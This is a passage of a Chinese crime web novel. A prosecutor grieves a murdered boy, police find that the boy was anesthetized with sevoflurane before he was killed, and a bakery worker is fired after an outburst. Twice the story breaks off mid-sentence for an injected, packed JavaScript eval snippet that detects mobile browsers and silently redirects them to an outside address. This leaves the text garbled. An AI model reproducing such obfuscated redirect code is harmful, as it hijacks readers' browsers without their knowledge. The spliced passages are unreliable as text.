陈彦博一动不动地呆坐了半分钟,突然提高声音道:“沈灵均,这么大的事,你怎么不第一时间跟我说?!” 沈灵均偏头看了他一眼:“你不是警察,又不是法医,你是医生,治活人的那种,我告诉你,你是能出现场还是能干别的?” “屁!这跟我是什么职业有关系吗?这次见面,你甚至都没有第一时间告诉我!” “我没找到空档跟你说啊,现在这不就告诉你了吗?” “你,”陈彦博深吸一口气,道:“好好好,这件事我以后再跟你掰扯……警方那边有没有什么线索?” 沈灵均摇摇头,把杯中的酒一饮而尽:“没有。还在查。有些线索警方也不方便第一时间就透露给被害人家属。” “那……长乐现在在哪呢?在警察局……还是在殡仪馆?” “还在警察局。警方说已经做了一次全面尸检了,但是他们还想试着继续在尸体上挖掘线索,想把长乐再留一段时间,我同意了……我不急着火化,我巴不得警方能在他身上找到新线索。” “长乐奶奶知道这件事吗?” “还没告诉她。但能瞒一时,不能瞒一世啊,”沈灵均闭上眼睛,揉着太阳穴:“长乐的遗体,没可能做遗体整容的……我真不知道怎么向老太太交代。” 陈彦博把他手上的酒杯抢了下来:“行了,你别喝了。你这几天没怎么睡觉吧,还喝,你也不怕猝死啊。” 沈灵均摇了摇头,没说话。也不知道他是反对陈彦博的话还是对陈彦博抢他酒杯的事有不满。 过了差不多半分钟,看沈灵均还维持着一手撑头的姿势,戚玉衡轻轻碰了碰沈灵均的肩膀:“……沈检?” 看沈灵均没动静,又因为陈彦博刚说完“猝死”两个字,戚玉衡心里一紧,立刻站起身来:“沈检,你没事吧?!” 陈彦博摸着沈灵均的脉喊了他几声,沈灵均含含糊糊地应了。陈彦博道:“没事,不用担心。就是睡着了。他没什么酒量,以前喝醉了就是个睡,他这几天大概率没怎么休息好,一下子就昏睡过去了。” 戚玉衡这才松了口气:“那就好,没事就好。” “不能让他在这睡,我得把他送回去。”说着,陈彦博就站起身,把沈灵均往自己身上背。 戚玉衡一边帮忙一边道:“我和你一起去。” 沈灵均的家明显与戚玉衡上次来时不一样了——大厅里立着一面白板,上面贴着一幅容州地图,地图上有不少用红蓝两种颜色的笔画出来的圈。茶几上、沙发上、甚至地上都堆满了各种各样的材料,戚玉衡随手从地上拾起一张,发现上面印的是十几年前论坛上有关3.18案的发言,他查资料的时候也看到过。 空气中弥漫着一股淡淡的烟味,戚玉衡往茶几上看去,发现茶几上摆着一个烟灰缸,里面至少有二三十个烟头。 原来沈灵均是会抽烟的。戚玉衡之前从来没见过沈灵均抽烟,他上次来时,也根本没在茶几上见过烟灰缸。 将沈灵均安置好,两人回到客厅,陈彦博长叹一口气,道:“小戚,长乐的事,到底是怎么一回事,你能跟我说说吗?” 听戚玉衡叙述完,陈彦博一时间没说话,他从沈灵均放在茶几上的烟盒里抽出一根烟,看向戚玉衡:“介意我抽一根吗?” 看戚玉衡摇头,陈彦博把烟点燃,缓缓道:“长乐是个苦命的孩子。爸死了,妈妈不疼他,叔叔姑姑都不是什么好人……跟着爷爷奶奶磕磕绊绊地长大,现在又碰上这种事。” 说到这,陈彦博停了下来,猛吸了几口烟:“……这让灵均后半辈子心里得多难过。他心里一定很自责。” “是。他觉得自己没有保护好长乐。” 陈彦博苦笑一声:“嗐,他这个人,平时对谁都笑眯眯的,很温和,很少发脾气……但其实固执着呢,他要是认准要做什么事,九头牛也拉不回来,认死理,谁说也不听。心思重,太爱自省,责任感过分的强……活得特别累。这种性格对他来说是缺点。” “以前,他身上这种性格特质还不明显。但自从叔叔……他父亲出车祸之后,就不一样了。叔叔是在给他买退烧药的路上出车祸的。叔叔出车祸之后,他是表现得最冷静的一个,看上去完全没受这件事的影响。高考也正常发挥,考得很好。当时,所有人……包括我,都觉得他是迅速地从伤痛中恢复过来了。” “大一那一 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|adxs8|n|cc|15053904|153451||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 年的冬天,是我和他第一次在北方过冬。我缺乏经验,买的冬衣太薄了,冻感冒了。我跟他说,明明感觉他穿的衣服也很轻薄啊,为什么他没感冒。他跟我说这是因为他免疫力好……本来就是在开玩笑。但他突然来了一句‘为什么我身体这么好的人,高考前就病了呢’。” 陈彦博徐徐吐出一口烟:“他心里有个坎,他自己怎么都迈不过去。” “……之后发生的很多事,小云……他弟弟的自杀、长乐爸爸的死,都让他更加变本加厉地为难自己。现在长乐又出事了。” 陈彦博重重地把烟头怼进烟灰缸里,低声道:“杀长乐的,如果是3.18案的凶手,或是一个模仿作案的变态,灵均心里的负担或许能轻些。我现在就是害怕……万一,真是些和他有仇的人,为了报仇,把长乐给杀了……” 戚玉衡把曾经说给沈灵均的话原样说给了陈彦博,安慰他道:“……我觉得不会的。” “但愿如此吧。” 陈彦博今天上了一天白班,晚上又喝了酒,和戚玉衡聊了一会后,他内心虽然天翻地覆,但身体上已然疲惫不堪,上下眼皮不断地亲着嘴。陈彦博扛不住睡意,站起身道:“我今晚就在这睡了,小戚,你的电动车是不是还在Resonate呢?这么晚了,不好打车,要不你也在这睡吧。” “……好。” 听到戚玉衡答应,陈彦博放下些心,到客卧睡下了。 不知道是不是因为在睡前得知了一个巨大的坏消息的缘故,向来睡眠质量很好的陈彦博这一晚上睡得并不安稳,做了两三个记不住内容的噩梦,惊醒了好几次。往常休班的时候,他一觉能睡到十一二点,但第二天早上,他七点多就醒了。 穿好衣服下了楼,陈彦博听到了碗盘碰撞的清脆响声,还闻到了一股清香味——是戚玉衡在厨房准备早饭。 客厅已经焕然一新:胡乱堆在一起的文字资料被分门别类地整理好,茶几上的烟灰缸也已经被清理干净,沈灵均堆在沙发上的脏衣服消失无踪。陈彦博也不知道是不是他的错觉,他感觉地上的瓷砖都比昨晚光亮照人得多。 “小戚,你怎么在做饭?我今天休息的呀,你是不是还要去店里上班?你不用管我们的。” “没事的,”戚玉衡声音很轻:“我自己的店,上不上班其实也都是随我的心意。我只是简单做了点雪菜肉丝的浇头,面煮好往上一浇就可以……也不知道陈医生你喜不喜欢。沈检还没起,我先给你煮一碗吧。” “不用不用,我一会等他一起吃就行了。雪菜肉丝面好啊,我喜欢吃,十一也喜欢吃。” “嗯,我知道的,之前和他一起出去吃面的时候,他点的就是雪菜肉丝面。” “我们俩上初中那会,学校附近有一家面馆的雪菜肉丝面做得那叫一个绝。他们家的雪菜是自己腌的,特别香,我们俩隔三岔五就去吃一碗,从那之后我们俩就都爱吃雪菜肉丝面了。” 陈彦博说完这话,忽然反应过来——听戚玉衡刚才的话,他怎么感觉,就是因为沈灵均爱吃,所以戚玉衡才特意在早上做了雪菜肉丝面的呢? 还有,昨天晚上他睡觉时时间就已经很晚了,戚玉衡却还花了时间给沈灵均整理房间,今早又早起做早饭…… 这也太贴心了吧!陈彦博心里一时间十分感动:小戚真是个好人啊! 60.第 60 章 沈灵均迷迷糊糊地睁开眼,看着天花板熟悉的灯饰,昨晚的记忆慢慢回笼,身体的感官也逐渐复苏。 头疼,胃也疼。他昨天是抽了什么疯,要喝那么多酒? 洗漱过后,沈灵均走出卧室,随即一愣:“……你们怎么在这?” 陈彦博哼了一声:“昨天晚上把你送到家的时候就已经一点多了,难不成你还想要我们俩大晚上折腾回家啊?” “我一下子没反应过来,”看着整洁的客厅,沈灵均道:“玉衡帮我把房间给收拾了?” 陈彦博拍了拍戚玉衡的肩膀:“可不是嘛,昨天我睡觉的时候都半夜了,小戚熬夜给你收拾的……你为什么一下子就猜到是小戚收拾的?都不怀疑一下我?” 沈灵均切了一声:“你?自己家都乱糟糟的,还能帮我把我这收拾整齐?” 戚玉衡站起身:“你的衣服我放到一楼卫生间的洗衣机上了。因为你很多衣服上面没有写明材质的标签,我不敢随便洗,怕洗坏了,就只是帮你收起来了。” 沈灵均连声道谢:“谢谢谢谢,真是太麻烦你了……” 戚玉衡摇摇头,笑道:“我们是朋友嘛,你不要这么客气。我看网上说,苹果橙子水解酒,我煮了一些,你喝一点尝尝吧。” “……好。” 苹果橙子水是温热的,夹杂了一点水果的清甜,喝到肚子里暖暖的,一碗下肚,沈灵均觉得胃疼都减弱了许多。这时,戚玉衡又把三碗热气腾腾、上面盖着一个煎蛋的雪菜肉丝面端上了桌,鲜香味直往他鼻子里飘。 一时间,沈灵均脑内只有幸福两个字。 饭桌上,陈彦博开始翻沈灵均昨天的旧账:“沈灵均,你说你有没有把我当朋友?三十多年的兄弟了,长乐出这么大的事你不告诉我,我昨天是真的很生气。真的真的真的很生气。要不是我约你出来聊天,你要把这事瞒我到什么时候?” 沈灵均垂头夹着碗里的肉丝:“主要是,告诉你也没什么用……多一个人着急上火罢了。” “你听听,”陈彦博看向戚玉衡,“你听听这话,小戚,你说是这么个理吗?是有用没用的问题吗?人的坏情绪是需要出口的呀!沈灵均,你比谁都明白我的意思,你就是在这跟我装傻、在这懂装不懂,一把年纪了逞什么强啊,觉得自己这样很酷是吧?在这跟我cos孤独酷哥呢是不是?这世界的重担让我一个人扛,这险恶的世界让我一个人闯,我是这世界的孤勇者!这人设不适合你。” “你跟我谁跟谁啊?朋友之间,要分享。快乐、痛苦,都要分享。” 戚玉衡在一旁看着他,一下一下地点着头,无声地对陈彦博表达了支持。 “……我也不用你别伤心、别自责的话劝你了,劝也没用。但是,天大的事也不能不休息不睡觉啊,昨天晚上你嘎嘣一下,倒那了。给我俩都吓一跳,我刚说完你要猝死你就没声了,跟我把你咒死了似的。” “我昨天喝酒了,那是醉倒了。” “你可拉倒吧,谁家好人醉酒过程那么短的,你昨天那个状态属于三级意识障碍,昏睡。你照没照镜子,熊猫见了你都得跟你认亲。你昨天晚上吃饭了没?” “……吃了。” “吃什么了?” “外卖。” “哪家外卖?外卖餐盒呢?扔了吗?你给我看看你手机里的订餐记录。” 沈灵均忍无可忍地抬起头:“干什么干什么?差不多得了。” “得什么得,根本没吃对不对?心虚了吧。不敢让我看了吧。伟大领袖毛主席曾经说过,身体是革命的本钱。你要是不注重休息、规律饮食,凶手还没绳之以法呢,你先去见阎王了。必须吃好睡好!” 戚玉衡在一旁疯狂点头,帮腔道:“就是就是。” 沈灵均举手做了个投降的姿势:“我错啦!在之后的日子里,我一定会好好睡觉好好吃饭。我保证!” 陈彦博轻哼一声:“这还差不多。从今天起,我每晚会发微信来监督你的。” 吃过饭,沈灵均道:“我一会要去一趟警察局。之前警方从长乐家里拿了不少长乐的私人物品协助调查,现在都用完了,通知我去取。玉衡一会要去店里吗?”看戚玉衡点头,沈灵均又看向陈彦博:“你呢,你回家吗?” 陈彦博说:“我回我爸妈家,不用你送我,我从你这坐地铁四站就到了。你送小戚吧,他昨天为了和我一起送你回来,把电动车扔到Resonate门口了。你先带着人把人家电动车取回来,然后再送小戚回店里。” “好。” 令沈灵均有些欣慰的是,戚玉衡没有拒绝这一提议——他待他似乎不再像之前那么“客气”,让沈灵均觉得两人之间的距离感减少了许多。 送完戚玉衡,沈灵均来到公安局,瞿春光接待了他。瞿春光的脸色比他们二人上次见面时差了不少,脸上泛着一层淡淡的油光,一脸的疲惫。尽管已经从他的面容上得出答案,但沈灵均还是忍不住问了一句:“还是没查到什么线索吗?” 瞿春光苦笑一声,道:“……没有。痕检团队没在方滢家发现什么有价值的线索,我们也已经把距离瑞原村最近六个摄像头、案发前三天的监控全部确认过了,也没有找到任何可疑的车辆。真是邪门了,也不知道他们是怎么把方滢一家三口运走的。龙庆县的同志现在正在对晋安镇镇医院附近的区域进行大摸排,目前还没发现什么有价值的线索……” 这时,乔瑜突然走进了接待室。他看了沈灵均一眼,道:“瞿队,程局说现在开一个紧急会……法医那边发现了新线索。” 瞿春光立刻站起来:“那我现在过去,”瞿春光转向沈灵均:“沈检,那你……” 沈灵均忙道:“瞿队,你去吧 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|adxs8|n|cc|15058540|153451||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 。我……可以在这里等你吗?我也想了解新线索。” 瞿春光脸上露出些为难:“沈检,我们有规定,也不是什么线索都能和家属讲的。你还是先回吧,要是是能透露的线索,我会第一时间跟你说的。” 沈灵均心里虽然失望,但他也知道警察的规矩,笑了笑:“好,那麻烦瞿队了。” * 瞿春光和乔瑜赶到会议室后,程时新道:“还在局内的人基本上到齐了,”他看向物证中心的主任范铭凯,“铭凯,你介绍一下情况吧。” 范铭凯站起身,指着幕布说道:“第一次尸检的时候,我们法医就发现,比之3.18案的八位被害人,李长乐手脚上几乎没有挣扎伤。我们当时就觉得很奇怪。后来,我们物证中心的小秦提出来一个想法,说会不会李长乐在被绑架期间长期都处于一个失去意识的情况,这才让他身上没有出现挣扎伤。” “于是,我们决定对李长乐的尸体做进一步的毒物检测,想看看他生前是否摄入过麻醉类、镇定类药品。我们对李长乐血液的进行了检定,最后检测出,他血液中七氟(药品)烷的含量为每毫升五点五微克,在肝、肺、大脑这些脏器中,七(药)氟(品)烷的浓度也超过了每克十八微克,七(药)氟(品)烷的代谢物六氟异丙醇超过每克零点九微克。据此,我们可以确定,李长乐死前曾经大量吸入过七(药)氟(品)烷。” “七(药)氟(品)烷,大家应该都对这个名字不陌生。它是目前临床应用最广的一种吸入性麻醉剂,是管制类药品。” 瞿春光问道:“也就是说,李长乐的死因,不是颅脑损伤,而是因为摄入七(药)氟(品)烷过量?” 范铭凯摇了摇头:“不是。李长乐的死因的确是颅脑受到重击没错,李长乐血液、脏器组织中的七(药)氟(品)烷浓度虽然高,但还没有达到致死的程度。以国内国际现有的尸检案例来看,摄入七(药)氟(品)烷过量致死的人血液中七(药)氟(品)烷的浓度大约在每毫升八至二十八微克,李长乐血液中七(药)氟(品)烷的浓度远远不到这个程度。” “而且,吸入七(药)氟(品)烷过量会导致中枢神经、呼吸、循环系统抑制,当事人多死于窒息,心前壁、肺胸膜一般都会出现出血点,肺大概率还会水肿,但这些情况在李长乐身上全都没有发生。不然我们在刚开始尸检的时候就能发现不对劲。” “以我们目前的技术水平,我们无法精确推算出李长乐被害前的七(药)氟(品)烷摄入量。但这些数据,已经证明了小秦猜测的正确性。李长乐身上没有挣扎伤,是因为他在被绑架后长期处于无意识的状态。而他血液中七(药)氟(品)烷的浓度虽然达不到致死量,但是浓度也颇高了,所以,我有个大胆的猜测……” “李长乐,很可能是在毫无意识、全身麻醉的情况下遇害的。” 61.第 61 章 范铭凯说完这话,会议室里便隐隐有些骚动。 章铁冷笑一声,道:“凶手这是什么意思?杀人了,但是要把人麻醉了之后杀,显得他怪有人道主义精神的呢。” 尚豪则道:“七(药)氟(品)烷是管制药品,我们可以从这个点入手,先调查各大药企在容州的七(药)氟(品)烷出货量,再一点一点地把这些七(药)氟(品)烷的去向全部落实。” 季雪松摇摇头:“不太现实啊。麻醉李长乐才需要多少七(药)氟(品)烷?各大药企的出货量那么多,咱们能落实每一瓶的去处吗?” 瞿春光则道:“那3.18案的被害人,有没有可能也是在这种被麻醉的状态下被杀的啊?” 范铭凯脸上露出了为难的神色:“当年,我们的法医队伍也对被害人的尸体进行了毒理检测,但是只是针对氰(药)化(品)物、砷化物这些常见毒物进行了检测。而且,如今检测七(药)氟(品)烷等麻醉类药物的气质联用仪,在当时还未在刑事技术上得到普遍应用,所以,当时尸检时没进行麻醉剂检测……不能排除3.18案的被害人也是在麻醉中被害的可能。” “还有很重要的一点。不知道大家记不记得,之前几年,咱们容州出现过几起不法分子利用含氟麻醉剂迷和奸谐女性致死的案子,这些案子的嫌疑人基本上都没有杀死被害人的故意,但是因为掌握不好麻醉剂的用量,害死了被害人。使用七(药)氟(品)烷使被害人失去意识很容易,但是在保证被害人生命体征稳定的情况下使他们不断吸入七(药)氟(品)烷,不仅需要专业的设备,还需要丰富的医疗知识,普通人绝对做不到。我觉得,我们可以将嫌疑人的范围锁定在受过专业医学教育的人中了。” 程时新道:“先不考虑3.18案的问题。就按铭凯说的,着重调查有医学背景的人。与沈检有过节的那些人中,有没有人接受过专业的医学教育?与李长乐有过接触的人中,谁有医学背景?首先排查这些人。如果之前已经排查过了,就重新再排查一遍。” 乔瑜忍不住道:“这个嫌疑人的行为,好矛盾啊。” “他杀害被害人的手段极为残忍,之后又将被害人分尸,但是他却又用七(药)氟(品)烷麻醉被害人,让被害人无痛苦的死去……这两个行为几乎是截然对立的。残忍的手法,体现着他对被害人的仇恨、恶意还有他自身的变态,但是麻醉被害人,又好像……就像之前章局说的那样,他好像又很有人道主义精神一样,似乎同情、可怜被害人。” “就好像一个人一边在火上浇油,一边又要倒水灭火。行为非常割裂。” 季雪松点点头,出言附和:“小乔说的对。正常人,看到被害人尸体的状态,第一反应就是凶手和被害人有仇、或是因为什么原因看不惯被害人,他杀害被害人是为了泄愤。但是为了泄愤的凶手,不会为了减轻被害人的痛苦而使用七(药)氟(品)烷。七(药)氟(品)烷是管制药品、恰到好处地使用七(药)氟(品)烷需要丰富的知识储备……凶手这种谨慎小心的人,应该能想到,他这么做会给我们警方提供很多线索。但他还是这么做了。” 范铭凯在这个时候补充道:“那个……还是要说一下,凶手在杀害被害人前使用七(药)氟(品)烷给被害人麻醉这件事,只是一种推测,虽然可能性很大,但并不能就这样下断言。” 程时新沉默了一会,道:“小乔和雪松说得对,凶手的行为非常割裂。其实……虽然我叫大家去调查那些和沈检、和李长乐有过节的人,但是我内心里,已经不觉得这个案子是仇杀了。” 章铁道:“那……果然是3.18案凶手的再次作案吗?” 程时新眉头紧锁,摇了摇头:“我也不这么想。虽然我们当年并没有做七(药)氟(品)烷的毒理检测,但我直觉,3.18案的被害人不是在被麻醉的状态下被杀的。我们专案组一致认为,3.18案的凶手会犯下这一系列案件,是因为他对优等生这一群体抱有极大的恶意。” “把所有被害人的尸体都抛尸在肮脏、腌臜之地,也是3.18案凶手的行动标志之一。他仇恨、蔑视优等生,所以他不仅要夺走他们的性命,还要侮辱他们。以第三位被害人李令杰为例,他的遗体是在养猪场的潲水里发现的。凶手如果只是为了抛尸的话,把裹尸袋放到潲水桶旁边就可以了。但他却特意掀开了潲水桶,把尸袋浸进了潲水桶中……这个行为几乎无法拖延尸体被发现的时间,可他还是这么做了。” “但是这种恶意,和本案凶手用七(药)氟(品)烷给被害人减轻痛苦所体现出来的情感,是截然相反的。比起仇杀,我更倾向于,本案的凶手只是想单纯地模仿这个案件的手法,是模仿犯。” 听到这,薛青霜面露疑惑:“但是,如果是模仿犯的话,那他为什么选择李长乐作为目标呢?比起肮脏的抛尸地、细致猎奇的分尸手法,3.18案最显著的特征,就是被害人全是优等生吧。既然要模仿3.18案,为什么没有模仿这个最关键、最广为人知的特征呢?” 瞿春光沉吟着:“凶手选择杀害李长乐,果然是有原因的。这不是一次随机杀人。他有什么必须杀掉李长乐的理由。” 薛青霜继续道:“咱们国内,据我所知,还从来没出现过某一连环杀手的模仿犯。但是结合国外的案例,连环杀手的模仿犯无非以下两种类型:第一,是某个杀手的狂热粉丝,出于极端的个人崇拜模仿杀人。典例就是自开膛手杰克犯案之后,模仿他犯罪的崇拜者屡见不鲜。再比如埃里韦托·赛达为了向著名的连环杀手十二宫致敬,模仿十二宫的手法杀人。” “第二,由于媒体和一些影视作品的渲染,暴力出现了传染性,让一些内心隐藏着犯罪渴望的人实施犯罪。比如说根据查尔斯·斯塔克维泽和卡瑞尔·福格的真实事迹创作的电影曾经引来很多人的模仿犯罪。但无论是哪种类型的模仿犯,他们本身就不是什么好东西,内心都颇为残暴,对‘偶像’、对其他案例的模仿,本质上都是寻找一种合他们心意的犯罪模式。” “但李长乐案,似乎没有表现出上述两种模仿犯的特征。模仿‘偶像’,不太可能忽略掉优等生这个最重要的、对被害人的筛选条件。而媒体和影视作品带来的模仿效应,一般都具有短时发作的特征,可3.18案已经偃旗息鼓十几年了,早已经淡出大众视野,而因为此案一直悬而未决,国内从未有过以此案为原型的影视作品。” “所以,我真的想不通,为什么凶手要选择在一个明显不符合3.18案凶手杀人习惯的目标身上,全盘复现3.18案凶手的杀人手法呢?” 会议室里一时间无人发言。 过了一会,瞿春光道:“凶手选择李长乐的理由……果然还是得从沈检身上着手吗?就李长乐本人而言,他身上实在是没什么太突出、太特别的地方。我们不光调查了他现在的社会关系,也已经去他老家调查过了。他已经有七八年没回过老家了,也已和他的叔叔、姑姑断联多年,他的叔叔、姑姑在案发时也有不在场证明。他在老家的时候也没有得罪过什么人。一个十岁的孩子,能招惹什么人?他父亲更是十里八乡都有口皆碑的老好人 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章铁挠了挠头:“也是,应该是沈检没跟你们主动提过。十几年前,我们分局处理了一场交通肇事案,被害人是沈检的父亲。我也是因为这件事才知道的、沈检的母亲,是化妆品巨头芝玉集团的老板,我还买了芝玉的股票来着……芝玉现在市值可是有大几百个亿。就算是在富豪遍地走的容州,沈检也算得上是顶级的豪门阔少了。” * 离开公安局后,沈灵均接到了徐女士的电话,问他周末回不回家吃饭。 他说年末忙,不回去了。每年年末他都忙,所以徐女士并没怀疑他的话。 挂掉电话,沈灵均开车赶往晋安镇,打算去晋安镇医院附近的居民区打听一下,看看能不能找到有关案子的线索。 凶手制服李长乐之后,如果想把他带回自己的家里,一定需要交通工具。但警方又说,距离镇医院最近的几个路口的摄像头中没有发现可疑车辆——镇医院算是镇上比较重要的建筑物,周边几个路口都有摄像头。凶手是怎么神不知鬼不觉地把李长乐运出去的呢?还是他们花言巧语骗过了警方?还是,李长乐就是在镇医院附近居民区里遇害的呢? 在镇医院附近停好车,沈灵均就拿着李长乐的照片守在各个小区的出入口询问来往的居民。有好些人一看到李长乐的照片就说“不认识”“没见过”,说警察已经来这附近走访过了。 在居民区蹲守了一个多小时之后,沈灵均看到了一个有些眼熟的身影——那是一个女人,头发花白,面目苍老,看着大约有六十来岁,但沈灵均心里清楚,她今年才五十多岁。她是3.18案第三位被害人孔令杰的妈妈,吴莉莉。 在查阅3.18案资料的时候,沈灵均看过她的采访。她怎么会出现在晋安镇?她现在住在这附近吗? 沈灵均走上前,叫住她:“这位大姐……” 让他有些意外的是,吴莉莉抬头看了他一眼,随后就猛地往后退了一步,瞪着眼睛,像是看到了什么吓人的东西一样。沈灵均以为是自己突然说话吓到了他,于是也往后退了一步,只把手往前伸着:“大姐,你见过这个孩子吗?” 吴莉莉转了转身子,侧着身对着沈灵均,她眼睛匆匆从沈灵均手上的照片扫过,把下巴缩进衣领里,摆着手道:“不认识,我没见过。” 说着,吴莉莉就迈开步子,快步想要绕过沈灵均。 她肢体动作表现出的抗拒,让沈灵均觉得有些奇怪——在他询问过的路人中,虽然有不少人态度敷衍甚至不耐烦,但从来没有人对他表现出这样强烈的排斥感。 沈灵均下意识地喊道:“大姐!大姐!你再看看!” 但吴莉莉并没再答话,也没有回头看他,只是低着头,像是身后有什么洪水猛兽一样加快了脚步,最后几乎是一路小跑地进了小区。 62.第 62 章 周一中午,戚玉衡去丢个外卖盒的功夫,胡亦豪就叼起一根烟在烘焙间抽了起来。 戚玉衡忍不住皱起眉:“亦豪,我不是说过的吗?烘焙间和裱花间里不允许抽烟。想抽去外面抽。” 胡亦豪满不在意地挥挥手:“戚哥,我把烟灰掸垃圾桶里,我会注意的,不会弄到食材上的。” “这不是你会不会把烟灰弄到食材上的问题,这是店里的规定。现在公共场所都不允许抽烟了,更何况做食物的厨房了。你见过哪个餐馆的后厨是可以抽烟的?” 于双用手在脸前扇了扇,一脸嫌弃:“就是,你别抽了,呛死了。” 胡亦豪脸上有点挂不住:“在烘焙间抽根烟能怎么?是能把所有面包都熏成烟味吗?” 戚玉衡最近几天心情不好,没耐心继续和他扯皮,冷着脸道:“有在这跟我们争辩的功夫,你去门口抽,这根烟应该都快抽完了。” 胡亦豪吐出一口烟,一脸不服气地站了起来。 于双最近这段时间十分看不惯他,语气不是很好地说:“你把围裙脱了再去抽,别抽得围裙全是烟味,难闻死了。” 也不知道这句话是戳中了胡亦豪哪根神经,胡亦豪一下子发起疯来。他踢了一脚脚边的垃圾桶:“我难闻?那谁好闻啊?” 胡亦豪把抽了一半的烟扔到地上,指着戚玉衡道:“他好闻啊?” “你看不上我,看得上他啊?” 戚玉衡也火了:“胡亦豪,你说话注意点!” 胡亦豪有些轻蔑地笑了一下:“但是你看得上他有什么用?他一同性恋,你脱光衣服站他面前他都没反应的!” 此话一出,烘焙间里的几人俱是一愣。这时候,牛明星挺着肚子闯入烘焙间,她指着胡亦豪道:“我告诉你啊胡亦豪,你别什么不三不四的话都往外冒!能干就干,不能干你就给老娘滚!” “我说错了吗?敢做不敢认,一边跟男人不清不楚,一边钓着小姑娘,没担当的怂货!” 戚玉衡一时间被气笑了:“是,我是同性恋没错,但我怎么一边跟男人不清不楚一边钓小姑娘了?你把话说清楚。” 胡亦豪一脸果然如此的表情:“你和那个姓沈的检察官,开奥迪的,你俩有事儿吧。前几天你从他车上下来,我都看到了!至于你钓小姑娘,”胡亦豪看了一眼于双:“于双喜欢你,谁看不出来啊?你心里也明镜的呢,但你就是不跟她说清楚。” 胡亦豪话音刚落,于双就起身骂道:“草,胡亦豪你他妈有病吧?你每天在脑子里意淫些什么?你有这想象力怎么不去写小说呢?也是,你的想象力应该只能写出乱七八糟的黄色小说。戚哥是同性恋,从男的车下来,两个人就是有事啊,那你以后别坐女司机开的车了。脑子里只有男男女女那点事,你一天天就用□□里的玩意思考是吧?” 胡亦豪活动了一下肩膀:“被我说中了,急了是吧?你急了。” 戚玉衡拦住了想要上手去撕扯胡亦豪的于双,他看向胡亦豪:“胡亦豪,你被解雇了。下午你不用上班了。工资我稍后结给你。” 胡亦豪愣了一下,下意识地看向牛明星:“你凭什么解雇我啊?!” “就凭我是这家店的老板!我们这家小庙实在是容不下你这尊大佛,你还是另谋高就吧。我会给你该给的离职补偿的。” “你是老板?”胡亦豪看向牛明星:“姐……” 牛明星瞪着他:“姐什么姐?张嘴就是胡编乱造,谁愿意和你在一个地方工作?走吧!” 看牛明星不站在自己这边,胡亦豪表情一下子变得更难看:“行,我胡编乱造……”胡亦豪把自己的围裙脱下来,甩在烘焙台上:“走就走。此处不留爷自有留爷处!” 胡亦豪走后,牛明星安抚于双道:“又又,你别管他,别把他的话放在心上,你就当有条狗朝你叫了两声,把他的话全当放屁!” 牛明星一直是个挺好的老板,于双没对她甩脸子,点点头:“嗯,我没事星姐。” 随后,牛明星把戚玉衡拉了出来,她小声道:“玉衡,我没把你的事告诉他!我真没有!我真不知道他是怎么知道你的事的……” 戚玉衡摆摆手:“没事,又不是什么丢人的事,他说就说了。但星姐,我是觉得他真的不适合在店里干了,不遵守店里的规章,还随意编排女同事……让又又和嘉璐怎么和他相处?” 牛明星忙点头:“我知道,我肯定不会让他再回来了,我明天就在招聘网站上发个招工启事,尽快再招个烘焙师进来。但就是最近这段时间,得辛苦你们顶一顶,”牛明星看着戚玉衡的脸:“你这段时间是不是没休息好?” “嗯,睡得不大好,睡着了就做梦……总是梦到长乐。” “孩子是横死的,有怨气,留在人间不愿意走,所以你这种和他亲近的人才会梦到他,诶,”牛明星一拍巴掌,“玉衡,要不然,你去广济寺给长乐供个祈福牌位吧。我婆婆和你姐夫都说广济寺很灵的。” “这怎么说?” “你姐夫毕业找工作的时候,迟迟拿不到offer,我婆婆去广济寺求了一次,你姐夫就上岸了四十七中;过了几年,她又去广济寺给你姐夫求姻缘,没多久,我就和你姐夫谈恋爱了……前段时间,那个谁……就那个谁来的时候,我不是动了一次胎气?我婆婆最近正催我去广济寺给孩子祈福呢!你可以和我们一起去。” “你姐夫也说广济寺灵——他有个同事,母亲被车撞了,过世了,也是横死。他母亲刚没那段时间,他天天做梦,梦里他母亲一直在哭。后来他去广济寺给他母亲供了个祈福牌位,他就没再做过那种梦了。” 戚玉衡向来不信神神鬼鬼的东西,听牛明星如此说也没有很心动——他觉得,如果长乐真的有怨气,比起去寺庙给他请牌位,破案抓到凶手,才是真的能消解他怨气的方式。 但牛明星一片好心,戚玉衡不好直接拒绝,只道:“我考虑看看。” 下午的时候,戚玉衡接到了何秀红打来的电话。在看到来电显的时候,戚玉衡心里就是一紧,电话接通后,何秀红被刻意压低的、焦急的声音传了过来:“小戚,你现在方便吗?你能不能来长乐家一趟?” “能,能,怎么了何姨?” “警方应该是去长乐他叔叔、姑姑那边调查过,他们两个知道长乐的事了,他们两个现在带着各自的对象来长乐家了,说要把奶奶接回去!” “什么??”戚玉衡手忙脚乱地脱围裙:“奶奶知道长乐的事了?奶奶怎么样?” “我瞧着还行,我问她身体难不难受,她也摇头……就是一直哭。我刚才给沈检打电话了,但是沈检没接。他们现在还在这,但我就怕一会他们硬要带奶奶走,我一个人拦不住……他们这几个人啊,我瞧着个个都不是善茬,”何秀红把声音压得更低了:“依我看,他们就是奔着这房子来的!当年沈检买这房子的时候,写的是长乐爷爷奶奶的名字,现在长乐没了,那等爷爷奶奶一走,那他们兄妹俩不就成了这房子的合法继承人了吗!所以她们才急着要把老人接回去!” “没事,没事,何姨,我立刻过去。” 